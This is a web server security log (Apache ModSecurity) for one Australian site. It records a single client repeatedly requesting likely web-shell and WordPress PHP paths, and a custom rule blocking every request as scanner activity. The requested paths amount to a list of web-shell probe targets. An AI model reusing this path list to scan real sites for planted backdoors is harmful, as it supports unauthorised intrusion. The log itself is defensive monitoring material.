[Wed Jan 07 00:52:32.997165 2026] [:error] [pid 44904:tid 44945] [client 4.194.99.99:17051] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aV090DtieuI1BJEZcvd3swAAAEQ"]
[Wed Jan 07 00:52:33.844134 2026] [:error] [pid 44905:tid 44974] [client 4.194.99.99:17098] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aV090bu7ufwWVst9EAsuBAAAAIY"]
[Wed Jan 07 00:52:34.090282 2026] [:error] [pid 44905:tid 44980] [client 4.194.99.99:17109] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aV090ru7ufwWVst9EAsuBQAAAIw"]
[Wed Jan 07 00:52:34.404771 2026] [:error] [pid 44904:tid 44964] [client 4.194.99.99:17121] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aV090jtieuI1BJEZcvd3ugAAAFc"]
[Wed Jan 07 00:52:34.964082 2026] [:error] [pid 44904:tid 44941] [client 4.194.99.99:17037] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aV090jtieuI1BJEZcvd3vwAAAEA"]
[Wed Jan 07 00:52:35.792784 2026] [:error] [pid 45012:tid 45034] [client 4.194.99.99:17166] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aV090xaMAxCuju1d0uZQrQAAANQ"]
[Wed Jan 07 00:52:36.777140 2026] [:error] [pid 45012:tid 45021] [client 4.194.99.99:17024] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aV091BaMAxCuju1d0uZQsQAAAMc"]
[Wed Jan 07 00:52:37.360425 2026] [:error] [pid 44903:tid 44917] [client 4.194.99.99:17113] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aV091dhHqjs38zbkQPBclwAAAAo"]
[Wed Jan 07 00:52:37.795399 2026] [:error] [pid 44904:tid 44947] [client 4.194.99.99:17373] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aV091TtieuI1BJEZcvd3wgAAAEY"]
[Wed Jan 07 00:52:38.836821 2026] [:error] [pid 44904:tid 44965] [client 4.194.99.99:17146] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aV091jtieuI1BJEZcvd3wwAAAFg"]
[Wed Jan 07 00:52:39.293568 2026] [:error] [pid 45012:tid 45036] [client 4.194.99.99:17174] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aV091xaMAxCuju1d0uZQtQAAANY"]
[Wed Jan 07 00:52:39.842734 2026] [:error] [pid 45959:tid 45967] [client 4.194.99.99:17145] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aV0911ajdn8P3hjgMYxFFQAAAUU"]
[Wed Jan 07 00:52:40.628880 2026] [:error] [pid 35140:tid 35155] [client 4.194.99.99:17127] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blurbs15.php"] [unique_id "aV092HoQaIDFMbT-XMwTVQAAAQ0"]
[Wed Jan 07 00:52:41.516444 2026] [:error] [pid 35140:tid 35158] [client 4.194.99.99:17134] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blurbs15.php"] [unique_id "aV092XoQaIDFMbT-XMwTVwAAARA"]
[Wed Jan 07 00:52:42.620711 2026] [:error] [pid 45012:tid 45032] [client 4.194.99.99:17275] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blurbs15.php"] [unique_id "aV092haMAxCuju1d0uZQwgAAANI"]
[Wed Jan 07 00:52:43.096575 2026] [:error] [pid 45012:tid 45023] [client 4.194.99.99:17148] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blurbs15.php"] [unique_id "aV092xaMAxCuju1d0uZQxQAAAMk"]
[Wed Jan 07 00:52:43.733057 2026] [:error] [pid 44903:tid 44925] [client 4.194.99.99:17160] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aV0929hHqjs38zbkQPBcnQAAABI"]
[Wed Jan 07 00:52:44.221068 2026] [:error] [pid 44905:tid 44987] [client 4.194.99.99:17362] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aV093Lu7ufwWVst9EAsuTQAAAJM"]
[Wed Jan 07 00:52:44.820801 2026] [:error] [pid 44903:tid 44923] [client 4.194.99.99:17034] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aV093NhHqjs38zbkQPBcoQAAABA"]
[Wed Jan 07 00:52:45.210088 2026] [:error] [pid 44904:tid 44948] [client 4.194.99.99:17144] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aV093TtieuI1BJEZcvd3zQAAAEc"]
[Wed Jan 07 00:52:48.763169 2026] [:error] [pid 45012:tid 45015] [client 4.194.99.99:17151] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aV094BaMAxCuju1d0uZQ2wAAAME"]
[Wed Jan 07 00:52:49.075631 2026] [:error] [pid 44904:tid 44961] [client 4.194.99.99:17371] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aV094TtieuI1BJEZcvd30gAAAFQ"]
[Wed Jan 07 00:52:49.663270 2026] [:error] [pid 45012:tid 45021] [client 4.194.99.99:17273] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aV094RaMAxCuju1d0uZQ4QAAAMc"]
[Wed Jan 07 00:52:50.316693 2026] [:error] [pid 44904:tid 44964] [client 4.194.99.99:17181] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aV094jtieuI1BJEZcvd30wAAAFc"]
[Wed Jan 07 00:52:51.128614 2026] [:error] [pid 44905:tid 44986] [client 4.194.99.99:17200] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aV0947u7ufwWVst9EAsuYAAAAJI"]
[Wed Jan 07 00:52:51.712237 2026] [:error] [pid 45012:tid 45017] [client 4.194.99.99:17350] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aV094xaMAxCuju1d0uZQ8AAAAMM"]
[Wed Jan 07 00:52:52.348307 2026] [:error] [pid 45959:tid 45970] [client 4.194.99.99:17123] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aV095Fajdn8P3hjgMYxFTgAAAUg"]
[Wed Jan 07 00:52:52.967239 2026] [:error] [pid 45012:tid 45019] [client 4.194.99.99:17074] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aV095BaMAxCuju1d0uZQ9QAAAMU"]
[Wed Jan 07 00:52:53.736056 2026] [:error] [pid 45012:tid 45033] [client 4.194.99.99:17193] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aV095RaMAxCuju1d0uZQ-AAAANM"]
[Wed Jan 07 00:52:54.166792 2026] [:error] [pid 35140:tid 35145] [client 4.194.99.99:17124] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aV095noQaIDFMbT-XMwTZQAAAQM"]
[Wed Jan 07 00:52:54.763473 2026] [:error] [pid 35140:tid 35158] [client 4.194.99.99:17065] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aV095noQaIDFMbT-XMwTaAAAARA"]
[Wed Jan 07 00:52:55.432516 2026] [:error] [pid 35140:tid 35157] [client 4.194.99.99:17053] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aV0953oQaIDFMbT-XMwTaQAAAQ8"]
[Wed Jan 07 00:52:56.425121 2026] [:error] [pid 45012:tid 45015] [client 4.194.99.99:17153] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aV096BaMAxCuju1d0uZQ_QAAAME"]
[Wed Jan 07 00:52:56.845789 2026] [:error] [pid 44905:tid 44989] [client 4.194.99.99:17073] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aV096Lu7ufwWVst9EAsuaQAAAJU"]
[Wed Jan 07 00:52:57.226371 2026] [:error] [pid 44903:tid 44917] [client 4.194.99.99:17300] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aV096dhHqjs38zbkQPBcuQAAAAo"]
[Wed Jan 07 00:52:58.006037 2026] [:error] [pid 45959:tid 45972] [client 4.194.99.99:17039] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aV096lajdn8P3hjgMYxFUwAAAUo"]
[Wed Jan 07 00:52:58.852112 2026] [:error] [pid 45012:tid 45030] [client 4.194.99.99:17080] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aV096haMAxCuju1d0uZRAwAAANA"]
[Wed Jan 07 00:52:59.552783 2026] [:error] [pid 45012:tid 45018] [client 4.194.99.99:17349] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aV096xaMAxCuju1d0uZRBAAAAMQ"]
[Wed Jan 07 00:53:04.516034 2026] [:error] [pid 44904:tid 44964] [client 4.194.99.99:17392] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aV098DtieuI1BJEZcvd39gAAAFc"]
[Wed Jan 07 00:53:05.803450 2026] [:error] [pid 35140:tid 35163] [client 4.194.99.99:17286] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aV098XoQaIDFMbT-XMwTiAAAARU"]
[Wed Jan 07 00:53:06.596989 2026] [:error] [pid 44904:tid 44958] [client 4.194.99.99:17406] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aV098jtieuI1BJEZcvd39wAAAFE"]
[Wed Jan 07 00:53:07.295143 2026] [:error] [pid 44904:tid 44942] [client 4.194.99.99:17383] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aV098ztieuI1BJEZcvd3-AAAAEE"]
[Wed Jan 07 00:53:08.968840 2026] [:error] [pid 45012:tid 45033] [client 4.194.99.99:17086] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aV099BaMAxCuju1d0uZRGAAAANM"]
[Wed Jan 07 00:53:09.958715 2026] [:error] [pid 45012:tid 45036] [client 4.194.99.99:17294] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aV099RaMAxCuju1d0uZRGwAAANY"]
[Wed Jan 07 00:53:10.465792 2026] [:error] [pid 45012:tid 45031] [client 4.194.99.99:17250] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aV099haMAxCuju1d0uZRHQAAANE"]
[Wed Jan 07 00:53:11.279422 2026] [:error] [pid 44903:tid 44919] [client 4.194.99.99:17298] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aV0999hHqjs38zbkQPBc5QAAAAw"]
[Wed Jan 07 00:53:12.356006 2026] [:error] [pid 44903:tid 44914] [client 4.194.99.99:17178] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aV09-NhHqjs38zbkQPBc7AAAAAc"]
[Wed Jan 07 00:53:13.759421 2026] [:error] [pid 44904:tid 44943] [client 4.194.99.99:17028] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aV09-TtieuI1BJEZcvd3_QAAAEI"]
[Wed Jan 07 00:53:14.266358 2026] [:error] [pid 45959:tid 45968] [client 4.194.99.99:17217] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aV09-lajdn8P3hjgMYxFZAAAAUY"]
[Wed Jan 07 00:53:14.652738 2026] [:error] [pid 44905:tid 44976] [client 4.194.99.99:17036] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aV09-ru7ufwWVst9EAsulQAAAIg"]
[Wed Jan 07 00:53:15.475057 2026] [:error] [pid 45012:tid 45019] [client 4.194.99.99:17025] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xse25.php"] [unique_id "aV09-xaMAxCuju1d0uZRIgAAAMU"]
[Wed Jan 07 00:53:16.383733 2026] [:error] [pid 44905:tid 44970] [client 4.194.99.99:17345] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xse25.php"] [unique_id "aV09_Lu7ufwWVst9EAsumQAAAII"]
[Wed Jan 07 00:53:17.429651 2026] [:error] [pid 45012:tid 45037] [client 4.194.99.99:17047] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xse25.php"] [unique_id "aV09_RaMAxCuju1d0uZRLgAAANc"]
[Wed Jan 07 00:53:18.397901 2026] [:error] [pid 44904:tid 44962] [client 4.194.99.99:17062] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xse25.php"] [unique_id "aV09_jtieuI1BJEZcvd4BAAAAFU"]
[Wed Jan 07 00:53:18.910716 2026] [:error] [pid 44903:tid 44911] [client 4.194.99.99:17050] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/index.php"] [unique_id "aV09_thHqjs38zbkQPBc_AAAAAQ"]
[Wed Jan 07 00:53:19.392169 2026] [:error] [pid 44904:tid 44951] [client 4.194.99.99:17355] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/index.php"] [unique_id "aV09_ztieuI1BJEZcvd4BgAAAEo"]
